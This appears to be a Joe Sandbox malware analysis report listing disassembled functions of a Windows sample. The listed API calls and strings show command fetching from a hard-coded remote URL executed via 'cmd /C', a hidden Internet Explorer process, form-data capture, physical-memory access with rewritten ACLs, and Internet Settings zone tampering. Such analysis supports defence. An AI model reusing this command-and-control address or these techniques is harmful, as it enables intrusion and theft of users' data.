WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BE9
CloseHandle.KERNEL32(?,?,?,00000000,?,00000000,?,?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BF4

Strings

%ssetTimeout("x()",%u);, xrefs: 00405ACD
</body><html>, xrefs: 00405B88
%s<title>%s%u</title>, xrefs: 00405897
%sself.parent.location="%s";, xrefs: 00405A36
.htm, xrefs: 0040575E
<head>, xrefs: 0040580D
<html>, xrefs: 0040576C
function x(), xrefs: 004059A0
<body>, xrefs: 00405911
</script>, xrefs: 00405B07
<script>, xrefs: 00405966
%s, xrefs: 004057D3, 00405874, 00405952, 00405B74
MicroSoft-Corp, xrefs: 0040588B
</head>, xrefs: 004058D7

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: strcat$rand$sprintf$File$CloseCreateHandlePathTempWritelstrlen
String ID: %s$%s<title>%s%u</title>$%sself.parent.location="%s";$%ssetTimeout("x()",%u);$.htm$</body><html>$</head>$</script>$<body>$<head>$<html>$<script>$MicroSoft-Corp$function x()
API String ID: 4291226702-3565490566
Opcode ID: 08e8a8e08d7a39e8062486bb6ab2fd16be076c2ff6bcf67ed59b44270b333af9
Instruction ID: 1c5cdfde58a584b0b9fe07ae47c92bc765a9e47636cc13cf9b12a0be20bdf5ec
Opcode Fuzzy Hash: 08e8a8e08d7a39e8062486bb6ab2fd16be076c2ff6bcf67ed59b44270b333af9
Instruction Fuzzy Hash: 93B1CAB6F0132416EB14A262DCC6B6D31AA9B85704F6404FFF508731C2E67C6E558AFE

Function 004068B0 Relevance: 61.5, APIs: 22, Strings: 13, Instructions: 221
stringprocessfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405F5B: lstrlenA.KERNEL32(?), ref: 00405F73
Part of subcall function 00405F5B: lstrlenA.KERNEL32(?,?), ref: 00405F7E
Part of subcall function 00405F5B: LocalAlloc.KERNEL32(00000040,?,?,?), ref: 00405F8D
Part of subcall function 00405F5B: lstrlenA.KERNEL32(?,00000000,?,00000040,?,?,?), ref: 00405FA2
Part of subcall function 00405F5B: DeleteUrlCacheEntry.WININET(?), ref: 00405FB5
Part of subcall function 00405F5B: CreateThread.KERNEL32(00000000,00000000,Function_00005C09,00000000,00000000,?), ref: 00405FCA
Part of subcall function 00405F5B: WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040,?,?), ref: 00405FDD
Part of subcall function 00405F5B: GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040), ref: 00405FE7
Part of subcall function 00405F5B: CloseHandle.KERNEL32(00000000,00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?), ref: 00405FED

sscanf.CRTDLL(0000003A,:%02u,?), ref: 0040695B
rand.CRTDLL ref: 00406972
sprintf.CRTDLL(?,%s\cmd.pif,00429080), ref: 004069B5
sprintf.CRTDLL(?,%s\cmd.exe,00429080,?,%s\cmd.pif,00429080), ref: 004069D1
GetWindowsDirectoryA.KERNEL32(?,00000400), ref: 004069E7
sprintf.CRTDLL(?,%s\command.pif,?,?,00000400), ref: 00406A0E
strcat.CRTDLL(?,\command.com,?,%s\command.pif,?,?,00000400), ref: 00406A1F
DeleteFileA.KERNEL32(?,?,?,?,?,00000400), ref: 00406A2E
sprintf.CRTDLL(?,%s /C %s,?,00000036,?,?,?,?,?,00000400), ref: 00406A50
WinExec.KERNEL32(?,00000000), ref: 00406A61
atoi.CRTDLL(00000035), ref: 00406A8E
sprintf.CRTDLL(?,%s\Rtdx1%i.dat,00429080,0000000C), ref: 00406AC4
lstrlenA.KERNEL32(?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406AE4
sprintf.CRTDLL(0000002F,%s/Rtdx1%i.htm,0000002F,0000000C,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B45
lstrlenA.KERNEL32(?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B54
lstrlenA.KERNEL32(0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B66
LocalAlloc.KERNEL32(00000040,?,0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B78
lstrlenA.KERNEL32(?,?,?,00000040,?,0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406BA2
CreateThread.KERNEL32(00000000,00000000,Function_0000686C,?,00000000,0000000C), ref: 00406BD6
CloseHandle.KERNEL32(00000000,00000000,00000000,Function_0000686C,?,00000000,0000000C,?,0000002F,?,?,?,00000040,?,0000002F,?), ref: 00406BDC
LocalFree.KERNEL32(?,?,0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406C07
_sleep.CRTDLL(001B7740), ref: 00406C17

Strings

%s\Rtdx1%i.dat, xrefs: 00406AB8
\command.com, xrefs: 00406A13
:%02u, xrefs: 0040694F
%s\cmd.pif, xrefs: 004069A9
wupd , xrefs: 00406A68
%s/Rtdx1%i.htm, xrefs: 00406B39
%s /C %s, xrefs: 00406A44
%s\command.pif, xrefs: 00406A02
%s\cmd.exe, xrefs: 004069C5
:, xrefs: 00406927
/, xrefs: 00406AF7
http://tat-neftbank.ru/wcmd.htm, xrefs: 004068CC, 00406ACC
:, xrefs: 00406934

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: lstrlen$sprintf$LocalThread$AllocCloseCreateDeleteHandle$CacheCodeDirectoryEntryExecExitFileFreeObjectSingleWaitWindows_sleepatoirandsscanfstrcat
String ID: %s /C %s$%s/Rtdx1%i.htm$%s\Rtdx1%i.dat$%s\cmd.exe$%s\cmd.pif$%s\command.pif$/$:$:$:%02u$\command.com$http://tat-neftbank.ru/wcmd.htm$wupd
API String ID: 4275340860-3363018154
Opcode ID: db39d86638ff862d2fb6c91229f091ab8a43fd21800a492105b3074faeac2b45
Instruction ID: 18f08bfc30c9890c11dd244c38850a50baba5aa484248b9ca7ce56826a71177a
Opcode Fuzzy Hash: db39d86638ff862d2fb6c91229f091ab8a43fd21800a492105b3074faeac2b45
Instruction Fuzzy Hash: 328163B1E08228ABDB21A6658D46BD977BCDB04304F5105F7E60CB21C1E67C7F948F99

Function 004052E0 Relevance: 31.6, APIs: 13, Strings: 5, Instructions: 115sleepstringprocessCOMMON

Download Yara Rule

APIs

strcat.CRTDLL(?,\Iexplore.exe ,?,?,?,?,?,?,?,00000104,?,?,?,?,?,?), ref: 004052F8
strcat.CRTDLL(?,?,?,\Iexplore.exe ,?,?,?,?,?,?,?,00000104,?,?,?,?), ref: 0040530B

Part of subcall function 0040431F: GetCurrentThreadId.KERNEL32 ref: 00404341
Part of subcall function 0040431F: GetThreadDesktop.USER32(00000000), ref: 00404347

memset.CRTDLL(?,00000000,00000044,?,?,?,\Iexplore.exe ,?,?,?,?,?,?,?,00000104,?), ref: 0040532C
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040539F
CloseHandle.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004053B2
sprintf.CRTDLL(?,%s%u - Microsoft Internet Explorer,MicroSoft-Corp,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004053D4
Sleep.KERNEL32(00007800,00000000,00000000,00000044,?), ref: 00405426
Sleep.KERNEL32(0000F000,00007800,00000000,00000000,00000044,?), ref: 00405439
GetWindowTextA.USER32(00000000,?,00000104), ref: 00405451
DeleteFileA.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405499
LocalFree.KERNEL32(?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004054A5
TerminateProcess.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004054B2
CloseHandle.KERNEL32(?,?,00000000,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004054BD

Strings

X-okRecv11, xrefs: 00405458
\Iexplore.exe , xrefs: 004052EC
D, xrefs: 00405334
%s%u - Microsoft Internet Explorer, xrefs: 004053C8
MicroSoft-Corp, xrefs: 004053C3

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessSleepThreadstrcat$CreateCurrentDeleteDesktopFileFreeLocalTerminateTextWindowmemsetsprintf
String ID: %s%u - Microsoft Internet Explorer$D$MicroSoft-Corp$X-okRecv11$\Iexplore.exe
API String ID: 1202517094-2261298365
Opcode ID: e98e409644201e6de021147ee2f0c1805f35588af9548cc9b8076052c01221a7
Instruction ID: a5954b523feb805065d44168e487e19d6cbd8b1c6e851fe6a795fce517e83f05
Opcode Fuzzy Hash: e98e409644201e6de021147ee2f0c1805f35588af9548cc9b8076052c01221a7
Instruction Fuzzy Hash: 4F416572E442186ADB20AA65CC46BDDB3B99F50305F1444F7E208F61D1DABCAEC48F59

Function 00401B9F Relevance: 26.7, APIs: 11, Strings: 4, Instructions: 487memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(value), ref: 00401BCC

Part of subcall function 004017AC: CoInitialize.OLE32(00000000), ref: 004017CC
Part of subcall function 004017AC: CLSIDFromString.OLE32({9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 004017DA
Part of subcall function 004017AC: CoCreateInstance.OLE32(?,00000000,?,0042CD50,?,{9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 00401803

_sleep.CRTDLL(00000000), ref: 00401BFD
GetForegroundWindow.USER32(00000000), ref: 00401C02

Part of subcall function 0040185F: GetWindowTextA.USER32(?,?,?), ref: 004018E2

memcpy.CRTDLL(00418F40,?,?), ref: 00401D6D
memcpy.CRTDLL(?,00418F40,?), ref: 00401F34
_sleep.CRTDLL(00000000), ref: 00401F4A
sprintf.CRTDLL(?,%s FORM_%X,?,?,00000000), ref: 00401F77

Strings

%s FORM_%X, xrefs: 00401F6B
%s%c, xrefs: 004021EB
%s %X%c, xrefs: 0040218F
value, xrefs: 00401BC7

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: StringWindow_sleepmemcpy$AllocCreateForegroundFromInitializeInstanceTextsprintf
String ID: %s %X%c$%s FORM_%X$%s%c$value
API String ID: 3510745994-3693252589
Opcode ID: 97066158e7caddc246d118ad30601bc5e86c518a965b60cc81196b9f5f35fe85
Instruction ID: 207a0c2c24704257dc82047f11ad41d7b25eba1db427a6dda8aff0efe7f4a5ef
Opcode Fuzzy Hash: 97066158e7caddc246d118ad30601bc5e86c518a965b60cc81196b9f5f35fe85
Instruction Fuzzy Hash: 2112DC71A002199FDB62DB68CD44BDAB7F9BB0C304F5040FAA588E7290D7B4AAC58F55

Function 00402822 Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 34libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,00000000,69D467A1,00402E1B,00000000,69D467A1,?,?,00406F1E,00000000,00000000,00000000,QueenKarton_12,%s\%s,00429080,dnkkq.dll), ref: 0040283A
GetProcAddress.KERNEL32(00000000,RtlInitUnicodeString), ref: 00402847
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 00402857
GetProcAddress.KERNEL32(00000000,NtOpenSection), ref: 0040286D
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 0040287D
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 0040288D

Strings

RtlNtStatusToDosError, xrefs: 00402887
RtlInitUnicodeString, xrefs: 00402841
NtMapViewOfSection, xrefs: 00402877
ntdll.dll, xrefs: 00402835
NtUnmapViewOfSection, xrefs: 00402851
NtOpenSection, xrefs: 00402867

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: NtMapViewOfSection$NtOpenSection$NtUnmapViewOfSection$RtlInitUnicodeString$RtlNtStatusToDosError$ntdll.dll
API String ID: 667068680-1987783197
Opcode ID: f3f948102971a568e61a5bb1a738835a59e2c1009918de6079867c1c535b5a8b
Instruction ID: 9d3c92be313ac2760b75685e9acc68d9338f811418752029c31410863af0f615
Opcode Fuzzy Hash: f3f948102971a568e61a5bb1a738835a59e2c1009918de6079867c1c535b5a8b
Instruction Fuzzy Hash: BCF03A21B642206B93126B327D4293E36689792B19395003FF840F6191DB7C09225F9F

Function 00402E06 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 337libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00402822: GetModuleHandleA.KERNEL32(ntdll.dll,00000000,69D467A1,00402E1B,00000000,69D467A1,?,?,00406F1E,00000000,00000000,00000000,QueenKarton_12,%s\%s,00429080,dnkkq.dll), ref: 0040283A
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,RtlInitUnicodeString), ref: 00402847
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 00402857
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,NtOpenSection), ref: 0040286D
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 0040287D
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 0040288D

GetVersion.KERNEL32 ref: 00402E22
LoadLibraryA.KERNEL32 ref: 00402E91
GetProcAddress.KERNEL32 ref: 00402EC5
IsBadReadPtr.KERNEL32(?,00001000), ref: 00402F75
GlobalMemoryStatus.KERNEL32(?), ref: 00402F9F
CloseHandle.KERNEL32(?), ref: 00403065
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 004030EA
VirtualQuery.KERNEL32(?,?,0000001C), ref: 0040315B
IsBadWritePtr.KERNEL32(00000000,00001000), ref: 004031F1

Strings

kernel32.dll, xrefs: 004030E5

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: AddressProc$Handle$Module$CloseGlobalLibraryLoadMemoryQueryReadStatusVersionVirtualWrite
String ID: kernel32.dll
API String ID: 2089743848-1793498882
Opcode ID: 4f42c9a603f3b22a608ddecb7cf3016b4a0286024c9d1ec82fce5a6e54f44313
Instruction ID: cfd5926590b061e949c3a24607155209ead47d6dc4f6dfca132d0ef3b1a5cdf0
Opcode Fuzzy Hash: 4f42c9a603f3b22a608ddecb7cf3016b4a0286024c9d1ec82fce5a6e54f44313
Instruction Fuzzy Hash: F6F19070D042B88BEB328F64DD483E9BBB1AB55306F0481EBD588662D2C2B85FC5CF55

Function 004037AA Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 53COMMON

Download Yara Rule

APIs

printf.CRTDLL([length=%i] [summ=%i],?,00000000), ref: 004037DD
printf.CRTDLL(HEX: ,[length=%i] [summ=%i],?,00000000), ref: 004037EE
printf.CRTDLL(%02X ,00000000), ref: 00403804
printf.CRTDLL(TXT: '%s',?), ref: 0040382C

Strings

[length=%i] [summ=%i], xrefs: 004037D8
HEX: , xrefs: 004037E9
TXT: '%s', xrefs: 00403827
%02X , xrefs: 004037FF
X4, xrefs: 004037E2

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: printf
String ID: TXT: '%s'$%02X $HEX: $X4$[length=%i] [summ=%i]
API String ID: 3524737521-4004101572
Opcode ID: ca4ded32e23903f7249d6c5dbeb3a47121f77b3b45ed42eb0d7ff3160f68b428
Instruction ID: a8ef6db4a05ad48ab0456940bf437e850f92713de92630681f76b68ebadef0f7
Opcode Fuzzy Hash: ca4ded32e23903f7249d6c5dbeb3a47121f77b3b45ed42eb0d7ff3160f68b428
Instruction Fuzzy Hash: 88016B62A04254BED7006FA7CC82A6F7FDCAB4175AF2080BEF545730C0D1B86F41D6A6

Function 004054D7 Relevance: 15.1, APIs: 10, Instructions: 109stringthreadmemoryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 004054F1
lstrlenA.KERNEL32(?,?), ref: 00405505
lstrlenA.KERNEL32(?,?,?), ref: 00405513
lstrlenA.KERNEL32(?,?,?,?), ref: 0040551F
LocalAlloc.KERNEL32(00000000,?,?,?,?,?), ref: 0040554B
memcpy.CRTDLL(00000001,?,?,00000000,?,?,?,?,?), ref: 0040556A
CreateThread.KERNEL32(00000000,00000000,Function_00005133,00000000,00000000,?), ref: 004055DE
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?,-00000005,?), ref: 004055EE
GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?), ref: 004055F8
CloseHandle.KERNEL32(00000000,00000000,?,00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006), ref: 004055FE

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: lstrlen$Thread$AllocCloseCodeCreateExitHandleLocalObjectSingleWaitmemcpy
String ID:
API String ID: 2845097592-0
Opcode ID: 7ec933356805a86d395f76af41b9b2d9f18e99f1d3eeeb5c371ae48cad7448a7
Instruction ID: 017c82820a2f145177c9e28e2e3f5c0bebc6ad2cdfe5315ab2aa4ad5daf85086
Opcode Fuzzy Hash: 7ec933356805a86d395f76af41b9b2d9f18e99f1d3eeeb5c371ae48cad7448a7
Instruction Fuzzy Hash: 5E31D721A04159BACF01DFA6CC01AAEB7F9AF44318F144476F904E7291E63CDB15C7A9

Function 00405F5B Relevance: 13.6, APIs: 9, Instructions: 64stringthreadmemoryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00405F73
lstrlenA.KERNEL32(?,?), ref: 00405F7E
LocalAlloc.KERNEL32(00000040,?,?,?), ref: 00405F8D
lstrlenA.KERNEL32(?,00000000,?,00000040,?,?,?), ref: 00405FA2
DeleteUrlCacheEntry.WININET(?), ref: 00405FB5
CreateThread.KERNEL32(00000000,00000000,Function_00005C09,00000000,00000000,?), ref: 00405FCA
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040,?,?), ref: 00405FDD
GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040), ref: 00405FE7
CloseHandle.KERNEL32(00000000,00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?), ref: 00405FED

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: lstrlen$Thread$AllocCacheCloseCodeCreateDeleteEntryExitHandleLocalObjectSingleWait
String ID:
API String ID: 794401840-0
Opcode ID: 03fc3e79f5e594bfaf1f893bda151e66fa8c5b5e213fcd764589a016d7372ae4
Instruction ID: 5ee1198a60b0fc2a8532ff5616a25e8349e08cf473eab22e95dc85017e90c3ca
Opcode Fuzzy Hash: 03fc3e79f5e594bfaf1f893bda151e66fa8c5b5e213fcd764589a016d7372ae4
Instruction Fuzzy Hash: B011CA71A082447BD701F6668C42EAFB76DDF85368F144476F600B71C2D678AF0147E9

Function 0040289A Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 99COMMON

Download Yara Rule

APIs

GetSecurityInfo.ADVAPI32(?,00000006,?,00000000,00000000,?,00000000,?), ref: 00402976
SetEntriesInAclA.ADVAPI32(00000001,00000002,?,?), ref: 00402988
SetSecurityInfo.ADVAPI32(?,00000006,?,00000000,00000000,?,00000000,?,00000006,?,00000000,00000000,?,00000000,?), ref: 004029A3
CloseHandle.KERNEL32(?,?,00000006,?,00000000,00000000,?,00000000,?,00000006,?,00000000,00000000,?,00000000,?), ref: 004029B1

Strings

CURRENT_USER, xrefs: 00402914
\device\physicalmemory, xrefs: 004028B7
@, xrefs: 004028DD

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986218308.000000000042A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986278378.000000000042E000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986361643.000000000042F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986441132.0000000000436000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1986499402.0000000000438000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_Onkcje32.jbxd

Yara matches

Similarity

API ID: InfoSecurity$CloseEntriesHandle
String ID: @$CURRENT_USER$\device\physicalmemory
API String ID: 405656561-3357994103
Opcode ID: 3f106b48de9bb5ba9ca254209248b2c107f34978da584956db3145db2ea5644b
Instruction ID: 89d45d45e0a184fa7970b295066ffccd564a705ae1855cc5323f3f658fcd5c06
Opcode Fuzzy Hash: 3f106b48de9bb5ba9ca254209248b2c107f34978da584956db3145db2ea5644b
Instruction Fuzzy Hash: 2A41EB71E4030DAFEB108FD4DC85BEEB7B9FB04319F50403AEA00BA191D7B9595A8B59

Function 0040509B Relevance: 12.0, APIs: 1, Strings: 7, Instructions: 43COMMON

Download Yara Rule

APIs

sprintf.CRTDLL(?,SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%u,00000000), ref: 004050CD

Strings

1601, xrefs: 004050D4
Software\Microsoft\Windows\CurrentVersion\Internet Settings, xrefs: 004050FF
yes, xrefs: 0040510E
GlobalUserOffline, xrefs: 004050FA
BrowseNewProcess, xrefs: 00405113
.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess, xrefs: 00405118
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%u, xrefs: 004050C1

Memory Dump Source

Source File: 00000008.00000002.1986161692.0000000000401000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1986082402.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
